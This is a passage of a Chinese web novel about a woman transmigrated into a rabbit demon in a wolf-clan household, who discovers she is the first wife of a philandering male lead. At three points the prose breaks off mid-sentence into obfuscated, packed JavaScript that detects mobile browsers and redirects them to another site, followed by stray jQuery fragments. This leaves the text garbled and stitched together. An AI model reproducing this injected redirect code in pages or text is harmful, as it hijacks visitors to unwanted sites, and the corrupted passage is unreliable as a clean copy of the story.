《兔子她太娇了[穿书]》 1. 穿越成了兔子 “三小姐,三小姐,醒醒。” “快,去请少主来,三小姐她突然晕倒了。” 柳安玫深呼了口气,脑子沉沉浮浮,像溺水之人飘忽在一望无际的海面上。 她睁不开眼,双手胡乱摆动着,拼命地想引起周围说话的人的注意。 可惜没有人能注意到她。 她觉得自己是死了的,假期和朋友去海边度假,她和朋友乘坐的游艇出了问题,她被慌乱的人群撞进了海里,没人注意到她,只有害她落水的人捂着嘴呆愣在原地。 可是她好像又没死,因为她能感觉到有一股股热流在她身体内部流转,那感觉能把人烫死。 柳安玫睁不开眼,那股子烦人的热浪灼烧着她一直没停过,甚至流向了四肢百骸。 不知道过了多久。 她耳朵边模糊响起一对男女的对话。 “悦儿,你莫哭了,安安她不会有事的。” “安安她身子弱,我舍不得她受那些修炼带来伤害,我宁愿她什么都不会。”轻声软语带有几分抽泣的女声道。 柳安玫:? 什么修炼? “别担心,安安只是昏过去了,等灵药在她体内见效了,马上就会醒。” 抽泣声还在继续,男人语气也染上了焦急,似是很想哄好抽泣的女子。 那女子哭了一会儿,断断续续道:“若是你早早地阻止了母亲安排安安训练,我的安安又何辜于此?安安她还没化形呢,你不知道吗?” “对对,都怨我。等安安醒了,悦儿你怎么惩罚我都行。母亲她也是觉得安柯安雪他们没化形的时候可以训练,所以也就安排了安安。悦儿莫再哭了,你哭我心都要碎了。” “我知道母亲向来不喜欢我,连带着对安安也这般严苛。” “悦儿,不会的,母亲她只是不知道你的好。” “在族中我们母女二人能仰仗的也只有您了。” “悦儿你放心,我无时无刻都站在你这边。” “嗯…我相信夫君的为人。”女子顿了顿继续道:“听说前几日,妖皇陛下给族里赏了不少修炼的好宝贝,我无福,是个小妖,给不了安安修炼上的帮助,还需夫君您……” 她话还没说完,男子便急切献好道:“我的那份全给安安,之后再向父亲讨些适合安安的也全给了她。” “…….”床上不是故意偷听的柳安玫动动手,不好!抽筋了。 她扯动俩下胳膊,似有无数蚂蚁在啃噬着她的手臂,麻!好在背后的痛感没有最初那般强烈。 这边动静自然没逃过男人的眼睛,他欣喜叫道:“悦儿你看,安安动了。” 抽泣声戛然而止,女子用帕子擦拭掉泪珠,伸手抚摸着柳安玫。 “我可怜的儿,你睁开眼睛看看娘。” 柳安玫:…… 好累先睡会儿。 —— 几日后。 柳安玫浑浑噩噩地躺在巨大的床榻上。 为什么用巨大来形容呢?那是因为她穿越了,穿在了一只兔子身上。 据她这几日的继承了原主记忆的了解,她是个没成人形的兔子,漂亮娘奚悦是只兔子,便宜爹柳文琦是只狼,有个很牛逼的身份,狼族少主。 原主爹娶了两位夫人,大夫人郑玉青是族群里面推选出来的,二夫人奚悦也就是她娘是便宜爹少年时期的一见钟情的心上人。 柳文琦耳根子软,好说话,又是个端水大师,因此后院很安稳。 至于柳安玫刚穿来时候的伤,是因为原主的祖母族长夫人借着修炼体魄的名义,早早让她开始接受教习师傅的训练,没成想原主身体太脆弱了,再最后就是她穿过来后发生的事情了。 虽然柳文琦的后院很平静,没有勾心斗角。但是很多狼族人因着兔妖一族太过孱弱,觉得后续他们诞下的子嗣也会随了奚悦的劣质基因,因此很看不惯她。 好在有柳文琦护着,再加上原主娘亲不顺心就喜欢喊夫君的性子倒也没受过多少苦。 柳文琦说是已经禀了她的狼祖母。延了对她的训练,给了她充分休息的时间。 思及此,有一种莫名的熟悉感从内心深处传来,转瞬即逝。对于和原身相同的名字,她总感觉在哪里了解过,在什么地方呢? 破脑子,关键时刻总掉链子。 算了,不想了。 柳安玫两条兔腿一蹬,跳下了床。 除了手掌大小的身材让习惯人形活动的她有些不适应外,其他都还好。 她现在想出去看看,看看她今后要长期生活的地方。 至于要不要穿越回去,她想的是船到桥头自然直,回不回去都不大重要,那个地方她生活惯了,非常热衷体验全新的生活。 倒像是体验着沉浸式大型剧本杀。 她的这间屋子摆设简约大气,古朴摆设,雕花木床桌椅,锦缎做被,流光溢彩的轻纱做帘,绣着延绵山水的两张屏风隔开了休息和吃饭的地方,倒是十分得活色生香。 房间里有两三个丫鬟婆子守着,是些化了形妖怪。 单瞧着和古代社会没甚区别。 丫鬟喜鹊见了她便伸手将她从地面抱起,变戏法似得手掌上突然出现一块块被整齐切好的胡萝卜:“三小姐,您要去哪里?喜鹊带您过去。” 柳安玫觉得自己应该先出去转转,于是道:“出门。” 喜鹊应下,眼神示意身边另一个丫鬟去通禀二夫人后带着柳安玫出了门。 柳安玫安心窝在她怀里吃胡萝卜,被她带着到处走。 倒不是她嘴馋,身为兔子她是真拒绝不了这个水头很足的胡萝卜,就像没有猫能拒绝猫条。 府邸很大,逛了许久才堪堪出了他们所居的杏花院。 据原主记忆来说这座狼府建在山上,整个山头都是他们的地界,当然这里也不完全都是狼妖还有其他嫁来结亲的妖族。 妖界妖风淳朴,一些大妖府邸用的还有凡人买卖来的仆役。不过签的都不是死契,一般十年换一波人。做的都是些无足轻重的闲散活计,毕竟人妖两族还是有些防备心在身上的。 因着性价比高大多数妖族用的都是凡人仆役。 —— 出了杏花院就是主院,相邻着的还有大夫人的清风院。 正看着柳安玫被一旁的凉亭吸引了目光,视线看过去两位约莫凡人十五岁左右的少年少女坐在里面聊天。 柳安玫眨巴眨巴眼,在记忆里搜索出他们是大夫人生下的龙凤胎,大哥柳安柯,二姐柳安雪。 印象里他们三个接触的很少,但是一靠近心里那股熟悉感就愈发强烈,仿佛她离抓不住的真相就只差一点。 看来有必要和他们交流交流了。 想着她便从喜鹊怀里跳了下去,灵活地几步跃到两人身边。 喜鹊跟上前了两步见两人一兔凑在一起倒没继续上前,站在不近不远的地方候着。 柳安柯:“那个地方在黑云崖。” 柳安雪:“啊!那么危险的地方!” “黑云崖?” 突如其来插入的声音惊得两人齐齐回头看向声音来源。 “咦,是三妹妹,你怎么在这里?听说你受伤了,现在好些了吗?”柳安雪讶异地看着兔子,伸手把她抱在怀里,摸摸她的头。 她的手掌软软的,还有股淡淡的桃香,味起来心旷神怡,柳安玫点点兔头: “已经休息好了,躺累了出来看看,看你们在这里就过来了,你们聊的黑云崖是什么地方呀?” “那是个很危险的地方,我们舅舅说要带我们见见世面,去里面训练一下我们。” “我能和你们一起去吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471424|201503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”柳安玫问道。 柳安柯想也没想便拒绝:“可是黑云崖很危险,你还没化形不能去。” 意料之内被拒绝了,柳安玫追问:“只是因为没有化形的原因吗?” 她实在想搞清楚那股熟悉又说不上来的感觉是怎么回事。 万一是跟黑云崖有关呢? “倒也不是,是因为我们也是去历练,那边很危险,倒时若是顾不上你那就更危险了。”柳安雪认真道。 也对,不能麻烦他们,柳安玫只是想来套个话,能去虽好,但是不去也行。 略过该话题三人换了些其他话题,倒是聊得热火朝天。 奚悦来的时候三人都没发现。 她手里端了盘果子,嘴角噙着笑:“好了该歇歇了,来,吃些果子。” “谢谢二娘。”两人异口同声地道。 奚悦摸了摸他们的头,说道:“你们吃完就去找你们爹爹,他让我转告你们他要考你们的训练。” 两人齐齐点头,很是听话。 几人一兔消灭掉盘子里的果子后,俩兄妹便走了。 奚悦抱着她回到她的小屋。 后把柳安玫放在桌子上,从一个储物袋里拿出许多大大小小的灵丹妙药。 待桌子摆得再也放不下后,她道:“安安,这是娘亲从你爹那里拿来的。全是好东西,娘亲平日里修炼的不够,你爹又忙,没办法勤带你去历练。兔子一族化形本身就比较慢,娘亲不舍得你受修炼的苦,这些你都吸收了,保证能成功让你化形。” 柳安玫吸着鼻子凑近那堆东西闻了下,霎时间一股股令人舒适的暖流涌向自己。 确实全是好东西,舒服,太舒服了!宛若置身云间,被绵软的云朵包裹,让人想一觉睡过去。 下一瞬,兔腿一软后又一摊,整个兔子似小方帕子般瘫在桌上。 兔眼睛再也睁不开了。 —— 翌日。 身着嫩粉色衣裙似十四岁左右的小姑娘正托着下巴,坐在铜镜前欣赏里面的娇娇人。坐在半人高的椅子上,双腿不停地来回摆动,似是开怀。 柳安玫是在早晨起床时发现自己变了样子。 没错!她化形了! 化形后的身高年岁看起来和安柯安雪差不多。 那堆灵丹妙药太给力了,只不过美中不足的是她耳朵收不回去,她早在刚刚尝试了多种方式收耳朵,都没用。 不过她已经不在意了,看着铜镜里的样貌竟和前世初中的她一模一样。看来这具身体成年后的样子和穿来前也不会有区别。 那她就放心了,毕竟颜值这块,她是顶美的。 门外,长着蛇尾的小厮正快速朝这边滑行着,停至门前,守着的喜鹊迎上前。 两人交谈片刻后,喜鹊点点头。小厮不再逗留转头离开。 喜鹊带着笑走进了屋,对柳按玫道:“三小姐,少主那边派人来请您过去,说是二爷那边给你选了陪练,今后便是他来陪您修炼了。” 二爷,也就是原主的二叔。 柳安玫来了兴致,她跳下椅子,拉着喜鹊的手就往门外走。 前院稀疏站着四五个人,柳文琦握着奚悦的手,眼神落在面前的管事身上。 那是他二弟遣人派来的一个管事,管事领着一位半大孩子站在日头下,男孩生着双暗红色瞳孔,在阳光的映衬下显得妖艳,无端给人一种神秘感,他面色很白,身材瘦弱,能看出是长期营养不良导致。他脸上没什么表情,时不时又让人感觉到脸色很臭。 他的衣角被扯了一下,男孩侧眸看去,一个没有完全化形的兔子正握着他的衣角,眨巴着闪闪发光的眼睛看自己。 柳安玫:...... 哇塞小帅哥,是给她选的吗? 男孩缓缓抽出自己的衣角,不给她握。 2. 穿书了!!! 人员到齐,那管事拉着少年开始介绍道:“逢明歆小姐化形,二爷念着三小姐应该也快要化形了便一同选了些修炼刻苦上进的小妖来做陪练,这不赶巧两人同一日化形,二爷念着三小姐便选了他送来。二爷最近处理恶妖伤人事件繁忙,无法亲自将他送来,所以遣了奴来。” 闻言,柳文琦让少年上前来问道:“你叫什么名字?” “廖锦。” 柳文琦点点头,抬手在他身上的几个地方摸了一下:“根骨是差了些。” “主要是陪着三小姐练习,根骨不重要,主要的是毅力,万事不都讲坚持,只要坚持下去,再难的路也好走。”管事小妖王婆卖瓜,自卖自夸地夸着廖锦。 柳安玫觉得廖锦这个名字很亲切,很熟悉,倒是可以留下他,而且生得还好看。 这太符合她心意了。 她走到柳文琦身旁,扯了扯他的衣袖。 “我也觉得我的陪练需要有毅力,我看他就可以。爹爹就定下他吧” 柳文琦看向奚悦,奚悦点点头,表示自己没什么意见。 陪练这事也算是敲定下来了。 —— 廖锦的房间被安排的离柳安玫不远,方便安玫平日里没事找他。 方才柳安玫正在屋子里撑着下巴盯着他看,像是要把他盯出个花来。 忽地,她一拍桌子,叫了声“完蛋,你叫廖锦!”后,惊慌失措从他屋子里跑了出去,像是看到鬼了一样。 难不成花没盯出来反而盯出了鬼? 柳安玫跑回了自己屋,合了门,她心有余悸地拍拍胸脯。 这边廖锦望着女孩远去的背影,抬手关上房门。 内心深有不解,疑惑她为什么在叫他名字的前面要加一个完蛋,他的名字是什么很可怕的东西吗? 另一边的柳安玫木头人似的被喜鹊拉着洗漱换衣,待躺在床上后,她欲哭无泪地想。 总算知道,他为什么总觉得这一切都很熟悉,熟悉的柳安柯、柳安雪、甚至还有熟悉的妖界背景。 合着她这不是穿越,是穿书了!!! 是她在高中时期读的一本古早男频文《穿越之废材逆袭,美女都爱我》,文中男主滥情风流,处处留情,感情史异常丰富香艳。整篇小说一千五百万字。老婆一个接着一个的换,数得上来的至少有九位明媒正娶的老婆,其余两百号全是红颜知己。 而她今天刚收下的男孩廖锦便是这本小说的男主人公。 这也是为什么她听到这个名字就会被吓跑。 根据小说背景分析,这个世界被分为人魔妖神四界,这个时间段还早,应该是十章以内。还不是天下大乱之际,几界之间的相处也还不错,互不干扰,井水不犯河水。 凡人修仙者较多,修了仙便也能在天下大乱之际维护凡人利益。 这篇文多数讲的是废材男主升级打怪,然后成为天下第一,美人在怀的故事。 原著中男主廖锦是妖皇的第十一个皇子,由于出生时被妖皇看出妖力孱弱,根骨极差,又因长相像一条普普通通,干巴瘦弱的小黑蛇而被冷落。生下他的妖妃看他被妖皇冷落,对他也没什么好脸色,偏疼他的那位资历绝佳的七哥。 长时间廖锦都是无人管的状态,吃饭都成了难事,日日吃杂草,有雨水喝雨水没雨水喝池子里的水,饿极了便偷溜出宫找吃的。 后因异世灵魂在廖锦被三皇子追杀时穿越进他身体后惊险躲过。却再也支撑不住晕死过去。好在被他的第一任老婆也就是原主柳安玫捡到,两人在长久的相处下,暗生情愫。 也就在相处时,一次狼族内乱,原主父母无故失踪,廖锦为保护柳安玫被狼族至宝销魂刀所伤,阴差阳错间得以破开身体里的封印,妖力暴涨,一路开挂,之后便是抢法器,夺灵药,神挡杀神,佛挡杀佛。成为天下第一无敌手。 但是他也不是一帆风顺的,因为在小说中期魔族出现了一位少年天才,下令追杀廖锦。可谓是廖锦一帆风顺路上的最大一个坎,廖锦几次差点死在他手上。好在有主角光环在身,次次有惊无险活下来。 柳安玫辗转反侧,挠挠头,愁得不行。本来以为自己的穿越平平无奇,妖族寿命长,她吃吃喝喝享受生活就好了。 突然有人告诉她她是男主角的第一任老婆,后面甚至还和姐姐柳安雪捻酸吃醋,没错,她和柳安雪都是那个死男人的老婆。 这让柳安玫很不开心,她是平生最不喜欢脏男人。要不是同学推荐她看,还拿有个女主和她撞了名的名义勾引她,她才不看。 之所以能看下去,全靠她想知道自己的结局是什么样子的。 但自从男主借住柳安玫开挂后,她的戏份就很少了。也就在前两百章内出现的很频繁,后续寥寥几笔草草交代了她的结局,因为识时务不挣不抢,被立为‘史上最贤惠女主’,时不时还伺候男主的其他小老婆坐月子。 现在的剧情应该是发展到了她和男主初相识的时候,但是问题是廖锦怎么是被他二叔带来的? 难不成是因为她穿过来的原因,导致自己没救到廖锦,所以因为剧情的力量反而让二叔和男主提前相遇了然后被送了来? 真真是应了那句福不是祸,是祸躲不过啊! 奈何文中多处内容她记不清了。 关于狼族内乱也是几笔带过,依稀记得最后是她二叔接替原主爹爹成了狼族少主,且他二叔给了他不少好东西,各种天材地宝。 这让柳安玫不得不怀疑,狼族内乱跟男主脱不了关系。 也怪作者,全程为凸显男主高光,其余npc沦为陪衬,狼族内乱没交待清楚就算了,原主她爹在内战结束后去哪里的坑也没填。 之前看小说一直没怎么在意,如今置身其中,她倒很在意内乱结束后她爹娘的去处,这让她后续追求的安稳生活变得及其不安稳。 她突然有些懊恼自己引狼入室,但是在自己眼皮子底下总比放虎归山强。 柳安玫翻翻身。这个大老婆她肯定是不愿意做的,她可不愿意伺候男主的小老婆做月子。 男主的日子太过一帆风顺了,她倒是不介意给廖锦添些堵,比如搅黄对方每一任老婆。 柳安玫不由得感叹,为了让男女主相遇,作者也是煞费苦心让销魂刀作为男主开挂的契机。 倘若廖锦得不到销魂刀的帮助呢?那他结局走向会怎样呢? —— 在知道男主是廖锦之后,柳安玫这几日看他都像在看动物园里的动物。目光里时常会带有审视、好奇、惊讶甚至是不可置信。 恰如此刻,柳安玫带廖锦去了书阁,打算开始修炼的第一步,多看点关于修炼的书籍,至于实际性的修炼她想的是先放放。 书阁建在狼府最中央的核心地区,共有六层算是整个狼府最高的建筑。从外看朱红色的漆染红了墙体,有几扇门窗半开着,时不时会从里面探出几个脑袋四处观望。 走进内室,映入眼帘的是近百个书柜严丝合缝被放置在一起 ,每个架子都有专属的木牌雕刻着对应系列典籍,方便人寻找。 这一层的中央,是个较为空旷的地方,头顶悬挂着的琉璃石亮着彩光。下方有序摆放着数张石桌石椅,零散有几位族人在此温书。 柳安玫目光划过一本本被规矩摆放的书。想要挑些保命的书看看。 了解了大致剧情走向,她觉得自己可以不是最厉害的,但是护身保命方面的招式不能不会。 柳安玫抬头便一眼看到一本《保命技法的施展与心得》,打算先看这本。 思及此,她扯了扯身旁比她高出一个头的男孩的衣袖,轻声道:“廖锦哥哥,可以帮忙拿一下保命技法的施展与心得吗?我们可以一起看,玫玫和你共同努力进步哦!” 进步个屁,没有销魂刀,你这辈子也别想进步。 嘻嘻嘻!作者设计销魂刀帮助廖锦开挂的时候显然没想到其他意外。倒让她有了可乘之机。 经过这些天相处的时候她已经试探过了,廖锦只会些寻常不过的妖术。根骨不佳,学什么都白费,不刻苦能怎么办呢。 没了销魂刀的帮助他就是只没爪子的纸老虎。放在身边长得帅看着心情爽利便好。 廖锦顺着视线看去,找到她说的书,抬手抽了出来:“书给你,你自己学,我不学。” 柳安玫笑嘻嘻抱着书,找了个角落坐下,根本不在意他想不想学。 他则在她对面坐下,视线在柳安玫兔耳朵上面停留片刻后移开,后又撑着下巴思绪飘远。 莫名的,柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳安玫放下手里的梳子,安静聆听。 一道明显是喜鹊诧异的声音:“廖公子你怎么了?” “我要见兔子。”回答她的是道明显有些虚弱的声音。 “三小姐她睡下了,廖公子你身上的伤需不需要我唤人给你处理一下?” 伤?廖锦受伤了? 柳安玫轻手轻脚地跳下了椅子,朝着屋门走。 屋外,廖锦点点头,单手捂着的胸口正往外渗血,猩红的鲜血顺着手掌滑下,流至小臂消失在宽松的袖口处。 他道:“那我先回去了,等下让人来我屋里,多谢。” “吱呀”一声轻响,房间门被打开。 “你们在做什么,吵到我睡觉了。”娇滴滴的声音响起。 廖锦寻声看去,见穿着白色寝衣的小兔子正捂嘴打着哈欠,乌黑的瞳孔里染着雾气,像是困极了,浓密的墨发披散着长至腰间。 “呀,你受伤了,是谁伤了你?走我带你去找爹爹,让他为你撑腰。”柳安玫皱着眉头。焦急上前。 心底琢磨着他是不是干坏事的时候被人看到了所以被打伤了。 “可以先救我一下吗?我好像要死了。”廖锦拉住她要走的手腕。 柳安玫:“廖锦哥哥你放心有玫玫在你不会死的。这会儿让医师来定会耽搁许久,我屋里就有药,你跟我来。” 身为男主怎么可能会死?先晾晾再救吧,这样即搓磨了男主,男主也欠她一个救命之恩。 柳安玫带他进了屋,将其按坐在椅子上。她则转身在各处地方忙碌地翻箱倒柜找着药。 “唔!药放在哪里了呢?我明明记得在这里,怎么突然不见了?” 廖锦脑中昏沉,眼前来回踱步的身影愈发模糊,他的身体再也支持不住地倒了下去。 闻声,柳安玫握着早就放在手中的药,唤了喜鹊进来给廖锦上药。 嘱咐道:“治好了把他送回屋子里,明个早早叫醒我。” 3. 万扬山 翌日清晨。 廖锦睁开眼,一双红彤彤的眼睛正看着自己,往下看去少女鼻子也红红的像是刚哭过。 “……”兔子怎么哭了? 遥想起上一世这个兔子也是这般温柔小意地对夺舍他身体的假廖锦好,也就了然了。 这兔子好像对谁都一样。 廖锦抬手摸了摸心口处,那里的伤已经好了。 回想昨日他在上辈子假廖锦被刀捅的地方,试着捅了自己一下,居然没解开体内的封印。 难不成必须要用到销魂刀? “廖锦哥哥你终于醒了,我在这里看了你一晚上,你一直都没醒,我都怕你不会醒了,不过现在醒来就好。”小兔子揉揉眼睛:“你洗漱一下,我们去吃饭。” 思绪被打断,廖锦不再多想,朝她点了点头。 柳安玫带着廖锦去的是柳文琦和奚悦常聚在一起用膳的膳堂。 早些时候,柳文琦便遣人来找过她一起用膳,只不过她为了自己以后的宏图霸业没去,她打算让男主醒来的第一眼看到的是她,对她感激涕零。 关于昨晚发生在廖锦身上的事情她都打听到了。廖锦从书阁出去后哪里也没去,而是找了个僻静的地方莫名其妙给自己来了一刀,被挂在树杈上睡觉的小蛇妖给看到了,小蛇妖传给了喜鹊,喜鹊传给了她。 莫不是廖锦私底下有些特殊自残的癖好? 饭间。对于突然多出来的一个人,奚悦见状吩咐下人多添副筷子。倒没那么多讲究,打心底希望安安能多有些伙伴。 柳文琦笑意盈盈地往奚悦碗里夹菜,奚悦也不断往小兔子碗里夹菜,时不时也会夹几筷子菜放在廖锦碗里。 廖锦抱着碗,沉默吃下。 一顿饭下来兔子没少吃,坐在奚悦身边被她揉肚子,兔子舒服地闭着眼睛享受。 柳文琦则是在一旁说说笑笑,逗弄自家夫人孩子。 几人这会儿已经移置了旁厅。 廖锦在不远的地方坐着,垂眸没有去看相亲相爱的一家三口,手里拿着一个刻有锦字的玉佩把玩。 没多时。有仆役从门外缓步踏入门内,近前禀报道:“少主,二夫人,太夫人来了。” 闻言,奚悦对着柳安玫抬了抬手,指向廖锦方向,示意她去找他。 柳安玫来到廖锦身旁,频频探头往外看。 这还是她穿来第一次要见她那个狼祖母人。 不好奇是假的。 屋外,整齐的脚步声逐渐逼近,为首一位雍容华贵的妇人带着四个绿衣丫鬟进了屋,她眼神扫过站在一起的两个孩子,只一眼便收回了目光。 柳安玫也悄悄打量了对方一眼。不由得感叹对方强大的气场,让人不敢大声喘气。 “母亲。”柳文琦、奚悦二人同时朝她规矩弯腰,引她坐上主位。 妇人淡淡点头,招呼丫鬟沏了茶。余下的丫鬟一个跪着捶腿,一个站在背后按摩。 妇人虽上了年纪,发丝却不见白,反而浓密墨黑,由金簪玉钗装饰着挽起妇人髻。脸上堪堪有几条纹路印在眼尾,彰显着岁月的痕迹。 清冷的面上带着几分不怒自威的严肃。 她抿了口茶,目光落在廖锦身上,开口:“他就是你二弟送来的?根骨不佳,修炼之路必然艰辛,怎么会选中他?” “二弟那边的管事说这孩子修炼刻苦却依旧不放弃,倒也可以在安安身边带动她的修炼习性。”柳文琦如实道。 妇人微微点头:“嗯。安玫不像安柯安雪两个孩子血脉纯正,天赋也比两个孩子弱,修炼不刻苦只靠灵丹妙药提升,收效也是甚微,日后若是遇到什么危险,无力还手,只怕也是到处躲着的份。” 柳文琦:“母亲放心,安安的修炼我们不会停的。” 妇人犀利的眼神扫了奚悦一眼,轻哼了声:“不论血脉如何,安安也是我亲孙女,我对她严肃也是为了她好。你们倒好,我就插手管了一次,让她晕了那么一会儿,你们就慌了,谁幼时锻炼不是这么过来的?一个个的生怕我这个老婆子吃了她。”看着儿子和儿媳在听到自己的话齐齐摇头时,她顿了顿又道:“罢了,你们既然有自己的主意,我也不再插手,这段时间就让她放松放松,但修炼之事还是越快越好,等过段时间安排她和安柯安雪一起去衢都万扬山拜师修炼吧。” 衢都万扬山,是妖界以修炼为主要目的的成立的学院。 由妖皇麾下五大妖尊驰狼、嗜蛇、猎虎、猛熊、刹狐分别坐镇。 其中驰狼妖尊就是柳安玫那位长时间不在家,偶尔才回来看看的祖父。 万扬山的教习师傅也不是浪得虚名,放在四界个个都是响当当天才,出门在外更是可以肆无忌惮骄傲地横着走,同时也为妖界教出不少得力大将。 就连妖界皇子都被妖皇安排在万扬山学习。 虽四界相处和谐,并无战火。但保不齐哪天便撕破了脸,修炼并不只是简单得个强者的名号,是在有一天能够有实力保护自己所珍惜所在乎的,弱肉强食向来如此。 天材地宝,珍贵法器,灵丹妙药,哪样不是需要靠实力夺取的。 柳安玫倒是没有意见,她看了眼身边人。 原著廖锦碍于身份,并没有和原主一起去万扬山,而是去了凡人的修真山门。妖族修炼本身没有特别大的隔阂,学什么不是学,学得好修成仙也有大半。再加上男主本身自带的外挂,学习起来那叫一个突飞猛进。 原著中前期男主隐藏身份,只称自己是逃难来的小妖,捏造悲惨身世混入修真山门。 当然所有废材逆袭文里都逃不过几个定律那就是被人看不起,后拌猪吃老虎,啪啪打脸等爽点。男主就是这么过来的,所以整篇小说套公式打脸直至结尾,水了一千多万字。 算着日子,安柯安雪应该到了黑云崖。他们走前承诺她如果寻到什么奇珍异宝,会有她的一份。柳安玫此刻隐约有些期待。 在府内无聊的日子也不算难熬。 奚悦娇惯孩子,柳安玫的修炼没人带半吊子,她又对考验耐力的训练提不起兴趣,便爱些保命招式,当真应了祖母那句遇到危险只有躲着的份。 恰如此刻,柳安玫打了个哈欠,兴致缺缺地往训练堂走。 身旁跟着喜鹊。还没进屋,就听里面在吵吵闹闹。 “晦气东西,你知道我这宝贝多难得吗?我这是要送给三小姐的。” “是你自己没拿稳,况且三小姐也看不上你这低阶法器。” “口出狂言,还死不承认?我这明明是高阶的法器!” 只见一群人围着一个少年,气焰颇为嚣张,空中漂浮着一团青瓷碎片,似是那人口中的宝贝。 被骂的人是廖锦,此刻他昂着头,那双眸子红得渗血,垂在身侧袖子里的手攥紧成拳。 陪练是需要先替主子练习今日课程之后再教给主子,方便主子学习时少走弯路且学习得快。今日他照常听课看书,学得是柳安玫起先安排好的保命书籍。 谁成想来了一群人,不由分说便指使他去跟一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471426|201503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五大三粗的狼妖进行搏斗。 他自然不愿,但是对方可不肯放过他。廖锦被迫跟他打了起来,缠斗间,这个青瓷壶掉落在地。 明明是个低阶法宝,对方却让他赔个高阶的给他。 “看来你是不想赔了。”一脸凶狠的青衣男子柳恩叉着腰,见廖锦不说话,扭头对其他人道:“去禀少主,就说三小姐身边的陪练手脚不干净,成日里左顾右盼,偷偷摸摸,为了三小姐安危着想,身边段不能留他。” 该死的廖锦,抢了三小姐身边陪练的位置,这位置本来该是他的,他早就让父亲报了自己的名字给少主,打算自荐做三小姐的陪练。没想到居然被他给截胡了,可恶,他该死。 闻言,他身边的狗腿子会意,转身就要走。 “站住!”廖锦张口道:“不就是高阶法宝吗?我可以给你,但是现在不在我身上,我藏起来了。你跟我去个地方,我就给你。” 躲在角落看戏的柳安玫:“?” 她都没几个高阶法器,男主哪来的? 不会还有外挂吧! 柳恩冷笑看着廖锦:“行,那就你一个人来。” 说着两人一前一后便要离开。 柳安玫知道,她上场的时候到了。 “怎么回事?”娇呵声响起,只见粉裙少女扬着浅笑,缓步而来。 她伸手朝着两人探去,在要接近柳恩冒着粉红泡泡的脸的时候突然转了个弯,把廖锦拉来在她身后护下。 柳恩傻笑的脸僵下,心下暗恨廖锦,愤愤道:“三小姐,廖锦他手脚不干净,他摔坏了我好不容易寻来要送给您的法宝。前几日我还见他鬼鬼祟祟出了府,下了山,见了前段时间被通缉的恶妖。” “嘶~原是摔了送我的法宝呀!”柳安玫一脸为难:“即是送我的,那方才廖锦哥哥说他也有法器,如此便直接赔给我吧。至于恶妖一事,我相信廖锦哥哥他不会做出对狼府不义之事,其中定是有什么误会,对吧廖锦哥哥?”语毕,她眨巴着眼睛看向廖锦。 廖锦被她看得不好意思,胡乱点点头。 “柳恩哥哥,玫玫很高兴能收到礼物。但是私下见恶妖的事情不可再说,若是冤枉了廖锦哥哥岂不是要让我爹爹错杀好妖?好了~话不多说,我先走了。” “三小姐……”此刻,柳恩像是被锯了嘴的葫芦,张张嘴除了三小姐三小姐地叫,也不知道该说些什么。只能不甘地目送几人离开。 回到廖锦居住的屋子。柳安玫挥退了喜鹊,一屁股坐在椅子上,两手支撑着下巴望着他。 廖锦被她盯的心里发毛,他没有什么高阶法宝,刚刚说的都是在骗柳恩。只要柳恩跟他走,他就能想办法让柳恩不再说话。 现下不知事情怎的这般发展,只得实话实说。 “我没有摔他的法宝。” “但是他说你摔了。” “你不能相信他的一面之词。” “但是后面我进来的时候,你没有解释。” 廖锦:“……” 好像是忘了这茬,单想着他私见恶妖的事情了。 柳安玫转转眼睛,道:“廖锦哥哥,玫玫相信你的为人,可是法宝是柳恩要送我的,就算玫玫相信不是你摔的,但是我原能获得的礼物因你没了,廖锦哥哥难道不会因为愧疚而选择补偿给我一件吗?玫玫今天可是踏着七彩祥云去拯救你了耶。” 廖锦:“……” 囊中羞涩怎么办?他要是有前世那般本事,别说一件了,十件百件他都给的起。 4. 兔子不在 “我没有法器,那些话是骗他的。不过我以后可以补给你。”廖锦承诺道。 原来没有其他外挂了。 柳安玫了然,没太大反应,点点头算是同意了他的承诺。 “话说回来,柳恩说你私下见了恶妖是怎么一回事?” “我说了你能一直让我留在府……你身边吗?” 柳安玫点点头。 “你二叔要杀你爹,让我把一个控制精神的虫子找机会下在你的饭食里。” “什么?”柳安玫猛地瞪大眼睛,脑中思绪万千,倒是没有特别惊讶他和她二叔是一伙的,因为这个她早就有猜想过。 因着没有证据,原著写得不是很明白她才没妄下定论。 忽地,一个念头从心里中闪过,她知道了! 结合方才廖锦所说,整篇文没写明白的坑就是,原主二叔以天材地宝为诱让男主和他合作助他成为狼族少主。 男主同意并给原主下了虫,后原主二叔以此为要挟私底下逼死原主父母,不料被控制住精神的原主在意识清晰间出现在了内战现场,也正有此机会才被男主救下,男主也阴差阳错解开了封印。 后面便是二叔成为少主,男主人财两得,还解开了体内的封印,四喜临门。 廖锦绕过屏风,走进床榻前从枕头下拿出一个黑漆漆的盒子,返回柳安玫身边后把盒子放在她眼前:“虫子在这里你可以找些妖试试。” 